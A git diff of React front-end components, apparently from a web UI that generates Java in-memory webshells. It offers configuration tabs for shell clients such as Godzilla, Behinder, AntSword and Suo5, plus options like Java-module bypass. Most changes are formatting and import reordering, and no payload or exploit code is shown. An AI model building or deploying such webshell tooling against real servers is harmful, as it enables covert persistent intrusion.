@@ -78,7 +86,7 @@ export default function CodeViewer({
           <CopyButton value={code} variant="ghost" size="sm" />
         </div>
       </div>
-      <div className="wrap-all relative overflow-hidden text-xs">
+      <div className="relative overflow-hidden text-xs wrap-all">
         <SyntaxHighlighter
           language={language}
           style={materialDark}

web/app/components/copyable-field.tsx

@@ -1,9 +1,13 @@
 import { Check, Copy } from "lucide-react";
-import { type ComponentPropsWithoutRef, useCallback, useEffect, useState } from "react";
+import {
+  type ComponentPropsWithoutRef,
+  useCallback,
+  useEffect,
+  useState,
+} from "react";
 import CopyToClipboard from "react-copy-to-clipboard";
 import { useTranslation } from "react-i18next";
 import { toast } from "sonner";
-
 import { Button } from "@/components/ui/button";
 import { Label } from "@/components/ui/label";
 import { cn } from "@/lib/utils";
@@ -44,7 +48,7 @@ export function CopyableField({
 
   return (
     <div className={cn("flex flex-col gap-1 py-1", className)} {...divProps}>
-      <div className="flex h-6 items-center justify-between gap-2">
+      <div className="flex items-center justify-between gap-2 h-6">
         <Label className="text-sm text-muted-foreground">{label}：</Label>
         {value && (
           <CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
@@ -55,7 +59,11 @@ export function CopyableField({
               className="h-8 w-8"
               disabled={hasCopied}
             >
-              {hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
+              {hasCopied ? (
+                <Check className="h-4 w-4" />
+              ) : (
+                <Copy className="h-4 w-4" />
+              )}
             </Button>
           </CopyToClipboard.CopyToClipboard>
         )}

web/app/components/icons.tsx

@@ -1,13 +0,0 @@
-export type IconProps = React.HTMLAttributes<SVGElement>;
-
-export const Icons = {
-  gitHub: (props: IconProps) => (
-    <svg viewBox="0 0 438.549 438.549" {...props}>
-      <title>GitHub</title>
-      <path
-        fill="currentColor"
-        d="M409.132 114.573c-19.608-33.596-46.205-60.194-79.798-79.8-33.598-19.607-70.277-29.408-110.063-29.408-39.781 0-76.472 9.804-110.063 29.408-33.596 19.605-60.192 46.204-79.8 79.8C9.803 148.168 0 184.854 0 224.63c0 47.78 13.94 90.745 41.827 128.906 27.884 38.164 63.906 64.572 108.063 79.227 5.14.954 8.945.283 11.419-1.996 2.475-2.282 3.711-5.14 3.711-8.562 0-.571-.049-5.708-.144-15.417a2549.81 2549.81 0 01-.144-25.406l-6.567 1.136c-4.187.767-9.469 1.092-15.846 1-6.374-.089-12.991-.757-19.842-1.999-6.854-1.231-13.229-4.086-19.13-8.559-5.898-4.473-10.085-10.328-12.56-17.556l-2.855-6.57c-1.903-4.374-4.899-9.233-8.992-14.559-4.093-5.331-8.232-8.945-12.419-10.848l-1.999-1.431c-1.332-.951-2.568-2.098-3.711-3.429-1.142-1.331-1.997-2.663-2.568-3.997-.572-1.335-.098-2.43 1.427-3.289 1.525-.859 4.281-1.276 8.28-1.276l5.708.853c3.807.763 8.516 3.042 14.133 6.851 5.614 3.806 10.229 8.754 13.846 14.842 4.38 7.806 9.657 13.754 15.846 17.847 6.184 4.093 12.419 6.136 18.699 6.136 6.28 0 11.704-.476 16.274-1.423 4.565-.952 8.848-2.383 12.847-4.285 1.713-12.758 6.377-22.559 13.988-29.41-10.848-1.14-20.601-2.857-29.264-5.14-8.658-2.286-17.605-5.996-26.835-11.14-9.235-5.137-16.896-11.516-22.985-19.126-6.09-7.614-11.088-17.61-14.987-29.979-3.901-12.374-5.852-26.648-5.852-42.826 0-23.035 7.52-42.637 22.557-58.817-7.044-17.318-6.379-36.732 1.997-58.24 5.52-1.715 13.706-.428 24.554 3.853 10.85 4.283 18.794 7.952 23.84 10.994 5.046 3.041 9.089 5.618 12.135 7.708 17.705-4.947 35.976-7.421 54.818-7.421s37.117 2.474 54.823 7.421l10.849-6.849c7.419-4.57 16.18-8.758 26.262-12.565 10.088-3.805 17.802-4.853 23.134-3.138 8.562 21.509 9.325 40.922 2.279 58.24 15.036 16.18 22.559 35.787 22.559 58.817 0 16.178-1.958 30.497-5.853 42.966-3.9 12.471-8.941 22.457-15.125 29.979-6.191 7.521-13.901 13.85-23.131 18.986-9.232 5.14-18.182 8.85-26.84 11.136-8.662 2.286-18.415 4.004-29.263 5.146 9.894 8.562 14.842 22.077 14.842 40.539v60.237c0 3.422 1.19 6.279 3.572 8.562 2.379 2.279 6.136 2.95 11.276 1.995 44.163-14.653 80.185-41.062 108.068-79.226 27.88-38.161 41.825-81.126 41.825-128.906-.01-39.771-9.818-76.454-29.414-110.049z"
-      />
-    </svg>
-  ),
-};

web/app/components/image-zoom.tsx

@@ -1,10 +1,8 @@
 "use client";
 
-import type { ComponentProps } from "react";
-
 import { Image, type ImageProps } from "fumadocs-core/framework";
+import type { ComponentProps } from "react";
 import Zoom, { type UncontrolledProps } from "react-medium-image-zoom";
-
 import "@/components/image-zoom.css";
 
 export type ImageZoomProps = ImageProps & {
@@ -24,14 +22,20 @@ function getImageSrc(src: ImageProps["src"]): string {
 
   if (typeof src === "object") {
     // Next.js
-    if ("default" in src) return (src as { default: { src: string } }).default.src;
+    if ("default" in src)
+      return (src as { default: { src: string } }).default.src;
     return src.src;
   }
 
   return "";
 }
 
-export function ImageZoom({ zoomInProps, children, rmiz, ...props }: ImageZoomProps) {
+export function ImageZoom({
+  zoomInProps,
+  children,
+  rmiz,
+  ...props
+}: ImageZoomProps) {
   return (
     <Zoom
       zoomMargin={20}
@@ -44,7 +48,10 @@ export function ImageZoom({ zoomInProps, children, rmiz, ...props }: ImageZoomPr
       }}
     >
       {children ?? (
-        <Image sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px" {...props} />
+        <Image
+          sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px"
+          {...props}
+        />
       )}
     </Zoom>
   );

web/app/components/language-switcher.tsx

@@ -1,6 +1,5 @@
 import { LanguagesIcon } from "lucide-react";
 import { useTranslation } from "react-i18next";
-
 import { Button } from "./ui/button";
 
 export function LanguageSwitcher() {

web/app/components/magicui/line-shadow-text.tsx

@@ -1,9 +1,9 @@
 import { type MotionProps, motion } from "motion/react";
-
 import { cn } from "@/lib/utils";
 
 interface LineShadowTextProps
-  extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>, MotionProps {
+  extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>,
+    MotionProps {
   shadowColor?: string;
   as?: React.ElementType;
 }
@@ -27,7 +27,7 @@ export function LineShadowText({
       style={{ "--shadow-color": shadowColor } as React.CSSProperties}
       className={cn(
         "relative z-0 inline-flex",
-        "after:absolute after:top-[0.04em] after:left-[0.04em] after:content-[attr(data-text)]",
+        "after:absolute after:left-[0.04em] after:top-[0.04em] after:content-[attr(data-text)]",
         "after:bg-[linear-gradient(45deg,transparent_45%,var(--shadow-color)_45%,var(--shadow-color)_55%,transparent_0)]",
         "after:-z-10 after:bg-[length:0.06em_0.06em] after:bg-clip-text after:text-transparent",
         "after:animate-line-shadow",

web/app/components/mdx.tsx

@@ -1,16 +0,0 @@
-import type { MDXComponents } from "mdx/types";
-
-import defaultMdxComponents from "fumadocs-ui/mdx";
-
-export function getMDXComponents(components?: MDXComponents) {
-  return {
-    ...defaultMdxComponents,
-    ...components,
-  } satisfies MDXComponents;
-}
-
-export const useMDXComponents = getMDXComponents;
-
-declare global {
-  type MDXProvidedComponents = ReturnType<typeof getMDXComponents>;
-}

web/app/components/memshell/jreversion-field.tsx

@@ -1,9 +1,11 @@
-import type { MemShellFormSchema } from "@/types/schema";
-
 import { Controller, type UseFormReturn } from "react-hook-form";
 import { useTranslation } from "react-i18next";
-
+import {
-import { Field, FieldContent, FieldError, FieldLabel } from "@/components/ui/field";
+  Field,
+  FieldContent,
+  FieldError,
+  FieldLabel,
+} from "@/components/ui/field";
 import {
   Select,
   SelectContent,
@@ -11,6 +13,7 @@ import {
   SelectTrigger,
   SelectValue,
 } from "@/components/ui/select";
+import type { MemShellFormSchema } from "@/types/schema";
 
 const JDKVersion = [
   { name: "Java6", value: "50" },
@@ -34,7 +37,9 @@ export function JREVersionFormField({
       render={({ field, fieldState }) => (
         <Field orientation="vertical" data-invalid={fieldState.invalid}>
           <FieldContent>
-            <FieldLabel htmlFor="targetJdkVersion">{t("common:targetJdkVersion")}</FieldLabel>
+            <FieldLabel htmlFor="targetJdkVersion">
+              {t("common:targetJdkVersion")}
+            </FieldLabel>
             <Select
               onValueChange={(v) => {
                 if (Number.parseInt(v ?? "0", 10) >= 53) {
@@ -46,8 +51,13 @@ export function JREVersionFormField({
               }}
               value={field.value}
             >
-              <SelectTrigger id="targetJdkVersion" aria-invalid={fieldState.invalid}>
+              <SelectTrigger
-                <SelectValue data-placeholder={t("common:placeholders.select")} />
+                id="targetJdkVersion"
+                aria-invalid={fieldState.invalid}
+              >
+                <SelectValue
+                  data-placeholder={t("common:placeholders.select")}
+                />
               </SelectTrigger>
               <SelectContent>
                 {JDKVersion.map((v) => (

web/app/components/memshell/main-config-card.tsx

@@ -1,10 +1,7 @@
-import type { MemShellFormSchema } from "@/types/schema";
-
 import { ArrowUpRightIcon, InfoIcon, ServerIcon } from "lucide-react";
 import { useCallback, useEffect, useMemo } from "react";
 import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
 import { useTranslation } from "react-i18next";
-
 import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
 import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
 import { CommandTabContent } from "@/components/memshell/tabs/command-tab";
@@ -13,7 +10,12 @@ import { GodzillaTabContent } from "@/components/memshell/tabs/godzilla-tab";
 import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab";
 import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
 import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
-import { Field, FieldContent, FieldDescription, FieldLabel } from "@/components/ui/field";
+import {
+  Field,
+  FieldContent,
+  FieldDescription,
+  FieldLabel,
+} from "@/components/ui/field";
 import { Label } from "@/components/ui/label";
 import {
   Select,
@@ -24,9 +26,17 @@ import {
 } from "@/components/ui/select";
 import { Switch } from "@/components/ui/switch";
 import { Tabs } from "@/components/ui/tabs";
-import { Tooltip, TooltipContent, TooltipTrigger } from "@/components/ui/tooltip";
+import {
-import { type MainConfig, type ServerConfig, ShellToolType } from "@/types/memshell";
+  Tooltip,
-
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import {
+  type MainConfig,
+  type ServerConfig,
+  ShellToolType,
+} from "@/types/memshell";
+import type { MemShellFormSchema } from "@/types/schema";
 import { Spinner } from "../ui/spinner";
 import { JREVersionFormField } from "./jreversion-field";
 import { ServerVersionFormField } from "./serverversion-field";
@@ -66,7 +76,9 @@ export default function MainConfigCard({
     if (!serverToolMap) {
       return [];
     }
-    const tools = Object.keys(serverToolMap).map((tool) => tool as ShellToolType);
+    const tools = Object.keys(serverToolMap).map(
+      (tool) => tool as ShellToolType,
+    );
     return Array.from(new Set([...tools, ShellToolType.Custom]));
   }, [serverToolMap]);
 
@@ -122,8 +134,8 @@ export default function MainConfigCard({
     const currentTargetJdk = form.getValues("targetJdkVersion") as string;
     const currentJdkVersion = Number.parseInt(currentTargetJdk, 10);
     const shouldRaiseJdkVersion =
-      (server === "SpringWebFlux" || server === "XXLJOB" || server === "Dubbo") &&
+      (server === "SpringWebFlux" || server === "XXLJOB") &&
-      currentJdkVersion <= 52;
+      currentJdkVersion < 52;
     const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50";
     if (currentTargetJdk !== nextJdkVersion) {
       form.setValue("targetJdkVersion", nextJdkVersion);
@@ -233,27 +245,39 @@ export default function MainConfigCard({
         </CardHeader>
         <CardContent>
           {!mainConfig ? (
-            <div className="flex h-100 items-center justify-center gap-4 p-4">
+            <div className="flex items-center justify-center p-4 gap-4 h-100">
               <Spinner />
-              <span className="text-sm text-muted-foreground">{t("loading")}</span>
+              <span className="text-sm text-muted-foreground">
+                {t("loading")}
+              </span>
             </div>
           ) : (
             <div className="flex flex-col gap-2">
-              <div className="grid grid-cols-1 gap-2 md:grid-cols-2">
+              <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
                 <Controller
                   control={form.control}
                   name="server"
                   render={({ field }) => (
                     <Field>
                       <FieldContent>
-                        <FieldLabel htmlFor="server">{t("common:server")}</FieldLabel>
+                        <FieldLabel htmlFor="server">
-                        <Select onValueChange={field.onChange} value={field.value}>
+                          {t("common:server")}
+                        </FieldLabel>
+                        <Select
+                          onValueChange={field.onChange}
+                          value={field.value}
+                        >
                           <SelectTrigger id="server">
-                            <SelectValue data-placeholder={t("common:placeholders.select")} />
+                            <SelectValue
+                              data-placeholder={t("common:placeholders.select")}
+                            />
                           </SelectTrigger>
                           <SelectContent>
                             {serverOptions.map((serverOption) => (
-                              <SelectItem key={serverOption} value={serverOption}>
+                              <SelectItem
+                                key={serverOption}
+                                value={serverOption}
+                              >
                                 {serverOption}
                               </SelectItem>
                             ))}
@@ -277,20 +301,26 @@ export default function MainConfigCard({
                 />
                 <ServerVersionFormField form={form} />
               </div>
-              <div className="grid grid-cols-1 gap-2 md:grid-cols-2">
+              <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
                 <Controller
                   control={form.control}
                   name="shellTool"
                   render={({ field }) => (
                     <Field>
                       <FieldContent>
-                        <FieldLabel htmlFor="shellTool">{t("common:shellTool")}</FieldLabel>
+                        <FieldLabel htmlFor="shellTool">
+                          {t("common:shellTool")}
+                        </FieldLabel>
                         <Select
                           value={field.value}
-                          onValueChange={(v) => handleShellToolChange(v as string)}
+                          onValueChange={(v) =>
+                            handleShellToolChange(v as string)
+                          }
                         >
                           <SelectTrigger id="shellTool">
-                            <SelectValue data-placeholder={t("common:placeholders.select")} />
+                            <SelectValue
+                              data-placeholder={t("common:placeholders.select")}
+                            />
                           </SelectTrigger>
                           <SelectContent>
                             {shellTools.map((tool) => (
@@ -306,17 +336,21 @@ export default function MainConfigCard({
                 />
                 <JREVersionFormField form={form} />
               </div>
-              <div className="mt-4 flex flex-col gap-4 lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
+              <div className="flex gap-4 mt-4 flex-col lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
                 <Controller
                   control={form.control}
                   name="debug"
                   render={({ field }) => (
                     <div className="flex items-center gap-2">
-                      <Switch id="debug" checked={field.value} onCheckedChange={field.onChange} />
+                      <Switch
+                        id="debug"
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
                       <Label htmlFor="debug">{t("common:debug")}</Label>
                       <Tooltip>
                         <TooltipTrigger>
-                          <InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
+                          <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
                         </TooltipTrigger>
                         <TooltipContent>
                           <p>{t("common:debug.description")}</p>
@@ -330,11 +364,15 @@ export default function MainConfigCard({
                   name="probe"
                   render={({ field }) => (
                     <div className="flex items-center gap-2">
-                      <Switch id="probe" checked={field.value} onCheckedChange={field.onChange} />
+                      <Switch
+                        id="probe"
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
                       <Label htmlFor="probe">{t("common:probe")}</Label>
                       <Tooltip>
                         <TooltipTrigger>
-                          <InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
+                          <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
                         </TooltipTrigger>
                         <TooltipContent>
                           <p>{t("common:probe.description")}</p>
@@ -348,11 +386,17 @@ export default function MainConfigCard({
                   name="byPassJavaModule"
                   render={({ field }) => (
                     <div className="flex items-center gap-2">
-                      <Switch id="bypass" checked={field.value} onCheckedChange={field.onChange} />
+                      <Switch
-                      <Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label>
+                        id="bypass"
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
+                      <Label htmlFor="bypass">
+                        {t("common:byPassJavaModule")}
+                      </Label>
                       <Tooltip>
                         <TooltipTrigger>
-                          <InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
+                          <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
                         </TooltipTrigger>
                         <TooltipContent>
                           <p>{t("common:byPassJavaModule.description")}</p>
@@ -371,10 +415,12 @@ export default function MainConfigCard({
                         checked={field.value}
                         onCheckedChange={field.onChange}
                       />
-                      <Label htmlFor="lambdaSuffix">{t("common:lambdaSuffix")}</Label>
+                      <Label htmlFor="lambdaSuffix">
+                        {t("common:lambdaSuffix")}
+                      </Label>
                       <Tooltip>
                         <TooltipTrigger>
-                          <InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
+                          <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
                         </TooltipTrigger>
                         <TooltipContent>
                           <p>{t("common:lambdaSuffix.description")}</p>
@@ -388,11 +434,15 @@ export default function MainConfigCard({
                   name="shrink"
                   render={({ field }) => (
                     <div className="flex items-center gap-2">
-                      <Switch id="shrink" checked={field.value} onCheckedChange={field.onChange} />
+                      <Switch
+                        id="shrink"
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
                       <Label htmlFor="shrink">{t("common:shrink")}</Label>
                       <Tooltip>
                         <TooltipTrigger>
-                          <InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
+                          <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
                         </TooltipTrigger>
                         <TooltipContent>
                           <p>{t("common:shrink.description")}</p>
@@ -411,10 +461,12 @@ export default function MainConfigCard({
                         checked={field.value}
                         onCheckedChange={field.onChange}
                       />
-                      <Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label>
+                      <Label htmlFor="staticInitialize">
+                        {t("common:staticInitialize")}
+                      </Label>
                       <Tooltip>
                         <TooltipTrigger>
-                          <InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
+                          <InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
                         </TooltipTrigger>
                         <TooltipContent>
                           <p>{t("common:staticInitialize.description")}</p>
@@ -435,7 +487,11 @@ export default function MainConfigCard({
           <BehinderTabContent form={form} shellTypes={shellTypes} />
           <AntSwordTabContent form={form} shellTypes={shellTypes} />
           <Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
-          <Suo5TabContent tabValue="Suo5v2" form={form} shellTypes={shellTypes} />
+          <Suo5TabContent
+            tabValue="Suo5v2"
+            form={form}
+            shellTypes={shellTypes}
+          />
           <NeoRegTabContent form={form} shellTypes={shellTypes} />
           <CustomTabContent form={form} shellTypes={shellTypes} />
           <ProxyTabContent form={form} shellTypes={shellTypes} />

web/app/components/memshell/package-config-card.tsx

@@ -1,15 +1,13 @@
-import type { PackerConfig } from "@/types/memshell";
-import type { MemShellFormSchema } from "@/types/schema";
-
 import { PackageIcon } from "lucide-react";
 import { useMemo } from "react";
 import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
 import { useTranslation } from "react-i18next";
-
 import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
 import { FieldLabel, FieldSet } from "@/components/ui/field";
 import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
 import { Spinner } from "@/components/ui/spinner";
+import type { PackerConfig } from "@/types/memshell";
+import type { MemShellFormSchema } from "@/types/schema";
 
 export default function PackageConfigCard({
   packerConfig,
@@ -86,9 +84,11 @@ export default function PackageConfigCard({
             )}
           />
         ) : (
-          <div className="flex h-50 items-center justify-center gap-4 p-4">
+          <div className="flex items-center justify-center p-4 gap-4 h-50">
             <Spinner />
-            <span className="text-sm text-muted-foreground">{t("loading")}</span>
+            <span className="text-sm text-muted-foreground">
+              {t("loading")}
+            </span>
           </div>
         )}
       </CardContent>